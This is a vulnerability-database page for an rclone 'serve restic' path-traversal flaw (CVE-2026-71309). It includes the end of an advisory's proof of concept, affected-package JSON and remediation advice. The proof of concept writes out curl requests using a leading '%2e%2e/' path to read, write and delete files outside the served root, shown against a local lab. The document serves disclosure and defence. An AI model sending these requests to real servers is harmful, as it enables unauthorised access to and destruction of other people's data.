\u0027WsgiDAV==4.3.5\u0027 \u0027cheroot==10.0.1\u0027\n$ poc/venv/bin/wsgidav --host=127.0.0.1 --port=39500 \\\n    --root=\"$PWD/poc/storage\" --auth=anonymous --no-config\nRunning without configuration file.\n...\nServer: WsgiDAV/4.3.5 Cheroot/10.0.1 Python/3.12.3\n```\n\n### 3. Download, verify, and start rclone\n\n```console\n$ curl -fLO https://downloads.rclone.org/v1.74.4/rclone-v1.74.4-linux-amd64.zip\n$ curl -fLO https://downloads.rclone.org/v1.74.4/SHA256SUMS\n$ grep \u0027  rclone-v1.74.4-linux-amd64.zip$\u0027 SHA256SUMS | sha256sum -c -\nrclone-v1.74.4-linux-amd64.zip: OK\n\n$ unzip rclone-v1.74.4-linux-amd64.zip\n$ ./rclone-v1.74.4-linux-amd64/rclone version | head -n 1\nrclone v1.74.4\n\n$ ./rclone-v1.74.4-linux-amd64/rclone serve restic \u0027:webdav:served-root\u0027 \\\n    --webdav-url http://127.0.0.1:39500 \\\n    --webdav-vendor other --addr 127.0.0.1:39501 -vv\nNOTICE: webdav root \u0027served-root\u0027: Serving restic REST API on [http://127.0.0.1:39501/]\n```\n\n### 4. Confirm normal access\n\n```console\n$ curl --path-as-is -i http://127.0.0.1:39501/inside.txt\nHTTP/1.1 200 OK\n...\nINSIDE-PUBLISHED-ROOT\n```\n\n### 5. Read outside the published root\n\n```console\n$ curl --path-as-is -i http://127.0.0.1:39501/%2e%2e/outside-secret.txt\nHTTP/1.1 200 OK\n...\nSECRET-OUTSIDE-PUBLISHED-ROOT\n```\n\n### 6. Write outside the published root\n\n```console\n$ curl --path-as-is -i -X POST \\\n    http://127.0.0.1:39501/%2e%2e/outside-write.txt \\\n    --data-binary \u0027ATTACKER-CONTROLLED-OUTSIDE-ROOT\u0027\nHTTP/1.1 200 OK\n...\n\n$ cat poc/storage/outside-write.txt\nATTACKER-CONTROLLED-OUTSIDE-ROOT\n```\n\n### 7. Delete outside the published root\n\n```console\n$ curl --path-as-is -i -X DELETE \\\n    http://127.0.0.1:39501/%2e%2e/outside-write.txt\nHTTP/1.1 200 OK\n...\n\n$ test ! -e poc/storage/outside-write.txt \u0026\u0026 echo \u0027physical file deleted\u0027\nphysical file deleted\n```\n\n### 8. Compare with internal traversal\n\n```console\n$ curl --path-as-is -i http://127.0.0.1:39501/a/../../outside-secret.txt\nHTTP/1.1 400 Bad Request\n...\nBad Request\n```\n\nThis demonstrates why the existing check appears to work for interior traversal while the leading variant bypasses it.\n\n## Tested backends\n\n| Backend | Local implementation | Result | Operations tested |\n|---|---|---|---|\n| WebDAV | WsgiDAV 4.3.5 | Affected | read, write, delete |\n| FTP | pyftpdlib 2.2.0 | Affected | read, write, delete |\n| HTTP | Python `http.server` 3.12.3 | Affected | read |\n| Memory | rclone memory backend | Affected | read, write, delete |\n| SFTP | `atmoz/sftp` OpenSSH server | Affected | read, write, delete |\n| S3 compatible | MinIO | No root escape observed | read, write, delete |\n| Local filesystem | default local encoding | No root escape observed | read, write, delete |\n\nOnly the backends listed in this table were tested or classified. Every row was dynamically repeated with the same official `v1.74.4` Linux AMD64 binary identified in the proof of concept.\n\n## Suggested remediation\n\nReject `.` and `..` components in `WithRemote` before storing the remote in the context. Validating the decoded relative path with `io/fs.ValidPath`, with explicit handling for the empty API root, is one possible approach. Authorization and backend lookup should use the same validated representation.\n\nRegression tests should cover GET, HEAD, POST, and DELETE with `..`, `../x`, `../../x`, `%2e%2e/x`, `a/../x`, and `a/../../x`, both with and without `--private-repos`.\n\n## Additional impact scenarios identified by the maintainer\n\n- `GET /../` could reach the list handler and enumerate the parent directory, allowing an attacker to discover object names before accessing them.\n- With `--append-only`, a request such as `DELETE /../locks/\u003cname\u003e` could satisfy the existing delete guard and delete an object outside the served root.\n- A bare `.` path was also accepted. On bucket-based backends, `POST /.` could write an object outside the intended served path.\n\nCredit: Caubi Loureiro of Vorpcel Research",
  "id": "GHSA-45pq-889g-fcgh",
  "modified": "2026-08-05T20:13:36Z",
  "published": "2026-08-05T20:13:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/security/advisories/GHSA-45pq-889g-fcgh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/cc5a189f00efe68ed0ddb32d3237b42549a9f264"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rclone/rclone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/releases/tag/v1.75.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "rclone: Incomplete path validation allows backend root escape in serve restic"
}

ubuntu-cve-2026-71309

Vulnerability from osv_ubuntu

Published

2026-08-06 00:00

Modified

2026-08-06 00:00

Summary

Details

Severity

8.6 (High)


                    
                      CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2026-71309	REPORT
	https://www.cve.org/CVERecord?id=CVE-2026-71309	REPORT
	https://github.com/rclone/rclone/security/advisor…	REPORT
	https://github.com/rclone/rclone/commit/cc5a189f0…	REPORT
	https://github.com/rclone/rclone/releases/tag/v1.75.0	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "golang-github-ncw-rclone-dev",
            "binary_version": "1.36-3ubuntu0.2"
          },
          {
            "binary_name": "rclone",
            "binary_version": "1.36-3ubuntu0.2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:18.04:LTS",
        "name": "rclone",
        "purl": "pkg:deb/ubuntu/rclone@1.36-3ubuntu0.2?arch=source\u0026distro=bionic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.36-3",
        "1.36-3ubuntu0.1",
        "1.36-3ubuntu0.2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "golang-github-rclone-rclone-dev",
            "binary_version": "1.50.2-2ubuntu0.2+esm1"
          },
          {
            "binary_name": "rclone",
            "binary_version": "1.50.2-2ubuntu0.2+esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:20.04:LTS",
        "name": "rclone",
        "purl": "pkg:deb/ubuntu/rclone@1.50.2-2ubuntu0.2+esm1?arch=source\u0026distro=esm-apps/focal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.47.0+ex1-6",
        "1.47.0+ex1-7",
        "1.49.5-2",
        "1.49.5-3",
        "1.50.2-2",
        "1.50.2-2ubuntu0.1",
        "1.50.2-2ubuntu0.2",
        "1.50.2-2ubuntu0.2+esm1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "golang-github-rclone-rclone-dev",
            "binary_version": "1.53.3-4ubuntu1.22.04.5+esm1"
          },
          {
            "binary_name": "rclone",
            "binary_version": "1.53.3-4ubuntu1.22.04.5+esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:22.04:LTS",
        "name": "rclone",
        "purl": "pkg:deb/ubuntu/rclone@1.53.3-4ubuntu1.22.04.5+esm1?arch=source\u0026distro=esm-apps/jammy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.53.3-1",
        "1.53.3-2",
        "1.53.3-4",
        "1.53.3-4ubuntu1",
        "1.53.3-4ubuntu1.22.04.1",
        "1.53.3-4ubuntu1.22.04.2",
        "1.53.3-4ubuntu1.22.04.3",
        "1.53.3-4ubuntu1.22.04.3+esm1",
        "1.53.3-4ubuntu1.22.04.4",
        "1.53.3-4ubuntu1.22.04.4+esm1",
        "1.53.3-4ubuntu1.22.04.5",
        "1.53.3-4ubuntu1.22.04.5+esm1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "golang-github-rclone-rclone-dev",
            "binary_version": "1.60.1+dfsg-3ubuntu0.24.04.6+esm1"
          },
          {
            "binary_name": "rclone",
            "binary_version": "1.60.1+dfsg-3ubuntu0.24.04.6+esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:24.04:LTS",
        "name": "rclone",
        "purl": "pkg:deb/ubuntu/rclone@1.60.1+dfsg-3ubuntu0.24.04.6+esm1?arch=source\u0026distro=esm-apps/noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.60.1+dfsg-2build1",
        "1.60.1+dfsg-3",
        "1.60.1+dfsg-3ubuntu0.24.04.1",
        "1.60.1+dfsg-3ubuntu0.24.04.2",
        "1.60.1+dfsg-3ubuntu0.24.04.3",
        "1.60.1+dfsg-3ubuntu0.24.04.4",
        "1.60.1+dfsg-3ubuntu0.24.04.4+esm1",
        "1.60.1+dfsg-3ubuntu0.24.04.5",
        "1.60.1+dfsg-3ubuntu0.24.04.5+esm1",
        "1.60.1+dfsg-3ubuntu0.24.04.6",
        "1.60.1+dfsg-3ubuntu0.24.04.6+esm1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "golang-github-rclone-rclone-dev",
            "binary_version": "1.60.1+dfsg-4ubuntu3.2+esm1"
          },
          {
            "binary_name": "rclone",
            "binary_version": "1.60.1+dfsg-4ubuntu3.2+esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:26.04:LTS",
        "name": "rclone",
        "purl": "pkg:deb/ubuntu/rclone@1.60.1+dfsg-4ubuntu3.2+esm1?arch=source\u0026distro=esm-apps/resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.60.1+dfsg-4ubuntu2",
        "1.60.1+dfsg-4ubuntu3",
        "1.60.1+dfsg-4ubuntu3.1",
        "1.60.1+dfsg-4ubuntu3.1+esm1",
        "1.60.1+dfsg-4ubuntu3.2",
        "1.60.1+dfsg-4ubuntu3.2+esm1"
      ]
    }
  ],
  "aliases": [],
  "details": "rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.40.0 until 1.75.0, rclone serve restic does not correctly reject URL paths beginning with ../ in cmd/serve/restic/restic.go WithRemote, which accepts a leading parent path and passes it to GET, HEAD, POST, and DELETE handlers for configured backends including WebDAV, FTP, HTTP, Memory, and SFTP. An attacker who can access the REST endpoint may read, create, overwrite, or delete objects outside the path configured by the operator when the operator publishes a backend subdirectory and the backend credential can access parent or sibling objects. This issue is fixed in 1.75.0.",
  "id": "UBUNTU-CVE-2026-71309",
  "modified": "2026-08-06T00:00:00Z",
  "published": "2026-08-06T00:00:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-71309"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71309"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/rclone/rclone/security/advisories/GHSA-45pq-889g-fcgh"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/rclone/rclone/commit/cc5a189f00efe68ed0ddb32d3237b42549a9f264"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/rclone/rclone/releases/tag/v1.75.0"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-71309"
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-71309 (GCVE-0-2026-71309)

GHSA-45PQ-889G-FCGH

Summary

Affected versions

Affected components and backend propagation

Technical Details

Preconditions and impact

Proof of concept

1. Create the storage layout

2. Start the independent WebDAV server

3. Download, verify, and start rclone

4. Confirm normal access

5. Read outside the published root

6. Write outside the published root

7. Delete outside the published root

8. Compare with internal traversal

Tested backends

Suggested remediation

Additional impact scenarios identified by the maintainer

ubuntu-cve-2026-71309

Vulnerability from osv_ubuntu

Tags

Sightings

Nomenclature